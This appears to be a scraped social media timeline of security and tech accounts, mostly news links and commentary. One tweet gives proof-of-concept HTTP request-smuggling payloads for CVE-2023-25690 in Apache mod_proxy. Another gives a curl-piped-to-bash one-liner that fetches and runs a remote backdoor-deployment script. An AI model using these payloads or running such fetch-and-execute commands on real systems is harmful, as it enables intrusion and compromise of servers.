Doctor Who | @[email protected]

Without hope, without witness, without reward. I'm just a ghost.

[RIVER @wugeej]

[PoC] [CVE-2023-25690] Apache HTTP Server mod_proxy vul

CLRF Injection
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host:

Header Injection
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 1.1.1.1

https://t.co/st5iVALH8V

[The Hacker's Choice (@[email protected]) @hackerschoice]

Run your own backdoor deployment server: 👉bash -c "$(curl -fsSL https://t.co/ph2e20SFkY)"👈

[Le Virus Info + Pirates Mag' + Les Puces Info @ACBM_COM]

En train d'essayer un Remote Shutter reconnu comme "Shutter3", une télécommande Bluetooth pour prendre des photos. Android nous demande si elle peut accéder aux contacts et aux appels... C'est censé avoir besoin de ça un bouton à presser pour prendre des photos ?

[Rowan Cheung @rowancheung]

Meet the new AI Coffee Shop boss.

It can track how productive baristas are and how much time customers spend in the shop.

We're headed into wild times.

[rootsecdev @rootsecdev]

I really like dev tunnels already.

https://t.co/SAPgFTEyms

[0xor0ne @0xor0ne]

Cool collection of tip and tricks, one-liners, etc. for various shells and security tools
Worth a reading!
Credits @hackerschoice

https://t.co/ZnsdUB33CO

#infosec #cybersecurity

[Doctor Who | @[email protected] @Jiab77]

@r00_lux Hahaha so true 🤣🤣🤣

[Doctor Who | @[email protected] @Jiab77]

@AdemoyeJohn C#, PowerShell and almost all M$ created languages by far 😅

[BleepingComputer @BleepinComputer]

Data breach at French govt agency exposes info of 10 million people - @billtoulas
https://t.co/QVJOdKM0lk

[Devansh (⚡, 🥷) @0xAsm0d3us]

⚡️ Discover more subdomains and expand the attack surface using Rayder workflow.

Here is what the workflow does:

- Fetches subdomains of a domain using subfinder
- Mutates the subdomains using radamsa fuzzer
- Fetches fresh DNS resolvers for dns bruteforcing
- Uses massdns to resolve the mutated subdomains
- Saves the output in a nice and simple format

Orchestrate and organize bug bounty recon workflows using Rayder.

Rayder : https://t.co/mjj7R7cjJ5

Subdomain Mutator Workflow: https://t.co/5PdwKZTsfj

#bugbountytips #bugbounty

[BleepingComputer @BleepinComputer]

TP-Link smart bulbs can let hackers steal your WiFi password - @billtoulas
https://t.co/7kYMZLVTqX

[Jim Fan @DrJimFan]

"Consciousness" has been the taboo "C-word" in AI.

This 88-page paper, coauthored by Turing Prize laureate Yoshua Bengio, is a systematic survey of the scientific theories of consciousness, as well as possible implementations in today's AI stack.

I commend their courage to address such a controversial topic that most researchers shun. Here's what the paper concludes: quote "Our analysis suggests that no current AI systems are conscious, but also shows that there are no obvious barriers to building conscious AI systems."

It's a long read - will share notes later, bear with me.

Paper: https://t.co/dA6RZDAqhr

[vx-underground @vxunderground]

A Threat Actor identified a bug in the Duolingo API. Sending a valid email to the API returns generic account information on the user (name, email, languages studied).

They used an email list to assemble over 2.6m unique entries.

This will be used for doxxing.

[rethinkdns @rethinkdns]

A new benefactor.

Thank you @OsomPrivacy

[Alex Plaskett @alexjplaskett]

As requested, a thread about remote kernel exploits! Part 1 - Linux and macOS/iOS.
👇

[Rowan Cheung @rowancheung]

An AI-based social media app is coming.

Kristen Garcia Dumont (ex-Machine Zone CEO) has founded a new social media app called BeFake, to redefine social media.

The app lets users snap fantasy versions of themselves using AI-generated images.

More details:
-It allows users to express creativity beyond just selfies by submitting text prompts to generate visuals.

-CEO Kristen Garcia Dumont sees it as more authentic self-expression versus the pressure of real pictures.

-The most creative faux identities gain traction in the app's community, with users able to share images from prompts and react to their favorites.

The founder of BeFake is no joke, with some of the top-grossing mobile games globally under her belt.

I'll be watching this app closely as it might play a pivotal role in the widespread integration of AI into social media.

What do you think?

[Proton @ProtonPrivacy]

Introducing Proton Sentinel, a high security program for notable users who may be at higher risk of cyberattack. The Proton Sentinel program combines AI with human analysis to provide 24/7 security monitoring for enrolled accounts. Learn more here: https://t.co/vNArxuPdG0

[nixCraft 🐧 @nixcraft]

Google is now forcing me to turn on YouTube history. Otherwise, you get a blank page. Why do you do this? Buying premium subscriptions wasn’t enough?

[Daniel Cuthbert @dcuthbert]

I'm lucky to call @RealSexyCyborg a friend and inspiration too. China doesn't get what they have with her, and seeing crackdowns on what she can/cannot say is frankly saddening

https://t.co/7J333XfTaG